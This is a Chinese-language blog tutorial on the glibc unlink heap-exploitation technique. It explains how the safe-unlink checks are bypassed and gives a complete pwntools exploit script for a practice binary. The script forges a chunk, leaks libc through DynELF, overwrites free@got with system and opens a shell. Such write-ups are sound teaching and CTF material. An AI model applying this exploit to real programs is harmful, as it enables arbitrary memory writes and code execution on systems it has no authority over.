unlink利用介绍

使用电脑浏览效果更佳!

摘要

​ 记录当下加入检查机制的unlink宏一般利用思想,主要在glibc pwn下的unlink利用手法。

分析

unlink的工作

unlink(AV, P, BK, FD):P是在空闲双向链表中的freed chunk(如small bins,larged bins,unsorted bins)

  1. 在free检查前后是否可以合并的时候,对free(ptr) ptr前后相邻的chunk就是unlink的目标p(即把它从freed chunk链表卸下的一步工作);

  2. 在malloc检查到size符合small bin等(只有fast bin用fd的单向链表,LIFO的分配管理),分配chunk 从freed chunk 双向链表拿下

1
2
3
4
5
6
#define unlink(AV, P, BK, FD) {                                            
FD = P->fd;
BK = P->bk;
FD->bk = BK;
BK->fd = FD;
}

由于没有检查的机制,对于任意伪造的fake freed chunk(构造user data中的fd,bk指针即可达到对任意地址pointer写机器字长(4bytes | 8 bytes)的数据,常见覆写free@got,free_hook函数等)

那么 unlink 具体执行的效果是什么样子呢?我们可以来分析一下

  • FD=P->fd = target addr -12
  • BK=P->bk = expect value
  • FD->bk = BK,即 *(target addr-12+12)=BK=expect value
  • BK->fd = FD,即 *(expect value +8) = FD = target addr-12(FD,BK的角色可以调换)

看起来我们似乎可以通过 unlink 直接实现任意地址读写的目的,但是我们还是需要确保 expect value +8 地址具有可写的权限。但在expect value +8 的地址处已经被改变,这需要我们绕过。重要的是,当前的unlink已经加入了检查的机制

前面介绍的unlink思想还在,但需要我绕过当前加入的检查代码

1
2
3
4
5
6
7
8
9
10
11
12
13
// 由于 P 已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致(size检查)
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
malloc_printerr ("corrupted size vs. prev_size"); \
// 检查 fd 和 bk 指针(双向链表完整性检查)
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \

// largebin 中 next_size 双向链表完整性检查
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr (check_action, \
"corrupted double-linked list (not small)", \
P, AV);
  1. 对于 __builtin_expect (chunksize(P) != prev_size (next_chunk(P) 的检查绕过:

    对一个free掉的chunk(p = malloc(0x80),p返回的是指向chunk的user data开始的指针,chunk包含chunk header域,即p = mem,free(p)== free(mem),内有mem与chunk的指针转换)有两处记录chunk的大小,一是自己chunk header的size,二是逻辑虚拟内存相连的chunk的pre_size域(不管该下一chunk是否in_use)。绕过该检查容易,因为能够通过溢出伪造fake chunk,也能把该fake chunk下一块的pre_size改掉。

  2. 对于__builtin_expect (FD->bk != P || BK->fd != P, 0)的检查绕过:

    要注意到的是,此处的FD->bk、BK->fd和P都是chunk ptr,(这也是前面提出的chunk与mem的区别),我们只需要找到一处内存(ptr)内容(*ptr)为P(P是我们可控的malloc返回的mem pointer),即可绕过该检查

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    //tr指向的内存保存内容 = p = malloc(),即记录了分配的内存mem指针。
    //对于32位平台
    FD = p->fd == *(p + 0x8) = ptr-0xc
    BK = p->bk == *(p + 0xc) = ptr-0x8
    FD->bk = *((ptr-0xc)+0xc) = p
    BK->fd = *((ptr -0x8)+0x8) = p//结构体的指针操作,->为一个取ptr内存保存值的操作
    //即可绕过检查
    //此处改写的内存为
    FD->bk = *((ptr-0xc)+0xc) = *(ptr) = BK = ptr-0x8
    BK->fd = *((ptr -0x8)+0x8)= *(ptr) = FD = ptr -0xc
    //即把原本保存malloc返回值的数组变量改为了对ptr-0xc的内容,即我们获得了改全局数组的改写权(因为后面的程序其他chunk的使用也是通过该全局数组内malloc返回的mem指针进行引用),相当于我们获得了自定义malloc分配的内存地址,因为我们有改写的指针引用,进而可以对任意地址内存写,如覆写free@got,__free_hook等
    //后面可以通过对chunk1改为对free@got的引用,对chunk1的写就是对free@got的写
    set_chunk(0,"A"*0xc + p32(ptr-0xc)+p32(free@got))
    // padding + chunk0_mem_ptr+chunk1_mem_ptr+....

    上面的原理利用图:

    1564061351662

    对于更多版本的利用payload是否绕过:可以通过pwntools的debug检查程序卡在哪里

    1
    2
    3
    4
    context.update(os='linux', arch='i386',log_level='debug')
    # 需要debug的地方
    gdb.attach(p)
    # 脚本ctrl+c可以再开一gdb的调试

    1564061517009

    能够看出size与pre_size没有够造好。

程序演示

下面这个binary演示了简单的unlink利用,如前面部分介绍的利用思想,这里涉及到DynELF的使用(无libc泄露libc地址)和32位的传参栈布局

1564062135895

64位涉及到寄存器传参。

详细参考:https://www.anquanke.com/post/id/85129

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

context(arch='i386', os='linux') # 调试pwntools脚本payload在用sendlineafter | sendafter ,关键处进行gdb.attach,多开gdb窗口进行调试
# context.update(os='linux', arch='i386',log_level='debug')
p = process("./heap")
chunk_list = 0x8049d60
free_got = 0x8049ce8

flag = 0
def leak(addr):
data = "A" * 0xc + p32(chunk_list-0xc) + p32(addr)
global flag
if flag == 0:
set_chunk(0, data)
flag = 1
else:
set_chunk(0, data)
res = ""
res = print_chunk(1)
print("leaking: %#x ---> %s" % (addr, res[0:4].encode('hex')))
return res[0:4]

def add_chunk(len):
# print p.recvuntil('5.Exit\n')
# p.sendline('1')
# print p.recvuntil('Input the size of chunk you want to add:')
# p.sendline(str(len))
p.sendlineafter("5.Exit\n","1")
p.sendlineafter('Input the size of chunk you want to add:',str(len))

def set_chunk(index,data):
# p.recvuntil('5.Exit\n')
# p.sendline('2')
# p.recvuntil('Set chunk index:')
# p.sendline(str(index))
# p.recvuntil('Set chunk data:')
# p.sendline(data)
p.sendlineafter("5.Exit\n","2")
p.sendlineafter("Set chunk index:",str(index))
p.sendlineafter("Set chunk data:",data)

def del_chunk(index):
# p.recvuntil('5.Exit\n')
# p.sendline('3')
# p.recvuntil('Delete chunk index:')
# p.sendline(str(index))
p.sendlineafter("5.Exit\n",'3')
p.sendlineafter("Delete chunk index:",str(index))

def print_chunk(index):
p.sendlineafter("5.Exit\n",'4')
p.recvuntil('Print chunk index:')
p.sendline(str(index))
res = p.recvuntil('1.Add',drop=True)
return res



raw_input('add_chunk')
add_chunk(128) #0
add_chunk(128) #1
add_chunk(128) #2
add_chunk(128) #3
set_chunk(3, '/bin/sh')

#fake_chunk
payload = ""
payload += p32(0) + p32(0x81) + p32(chunk_list-0xc) + p32(chunk_list-0x8)
payload += "A"*(0x80-4*4)
#2nd chunk
payload += p32(0x80) + p32(0x88)

set_chunk(0,payload)
###########################
# pwndbg> parseheap
# addr prev size status fd bk
# 0x9e04000 0x0 0x88 Freed 0x0 0x89
# 0x9e04088 0x80 0x88 Used None None
# 0x9e04110 0x0 0x88 Used None None
# 0x9e04198 0x0 0x88 Used None None
# pwndbg> x/10wx 0x9e04000
# 0x9e04000: 0x00000000 0x00000089 0x00000000 0x00000089
# 0x9e04010: 0x08049d54 0x08049d58 0x41414141 0x41414141
# 0x9e04020: 0x41414141 0x41414141
# pwndbg> x/10wx 0x8049D60
# 0x8049d60: 0x09e04008 0x09e04090 0x09e04118 0x09e041a0
# 0x8049d70: 0x00000000 0x00000000 0x00000000 0x00000000
# 0x8049d80: 0x00000000 0x00000000
# pwndbg>
##########################
# pwnlib.gdb.attach(p)
#get the pointer
del_chunk(1)
set_chunk(0, 'A' * 12 + p32(0x8049d54) + p32(0x8048420)) # 修改的是全局记录的指针数组,即buf[1]已经变为了free@plt

raw_input('leak')
#leak system_addr,通过DynELF,free@plt来泄露system的地址
pwn_elf = ELF('./heap')
d = DynELF(leak, elf=pwn_elf)
sys_addr = d.lookup('system', 'libc')
print("system addr: %#x" % sys_addr)

raw_input('edit free@got')
data = "A" * 12 + p32(chunk_list-0xc) + p32(free_got)
set_chunk('0', data)

set_chunk('1', p32(sys_addr)) # 把free@plt覆写为free@got的内容,因为前面已经运行了free,got记录了真正的free的地址

del_chunk('3')
p.interactive()

程序流程

1564061750675

您的支持是对thonsun技术原创分享的最大鼓励!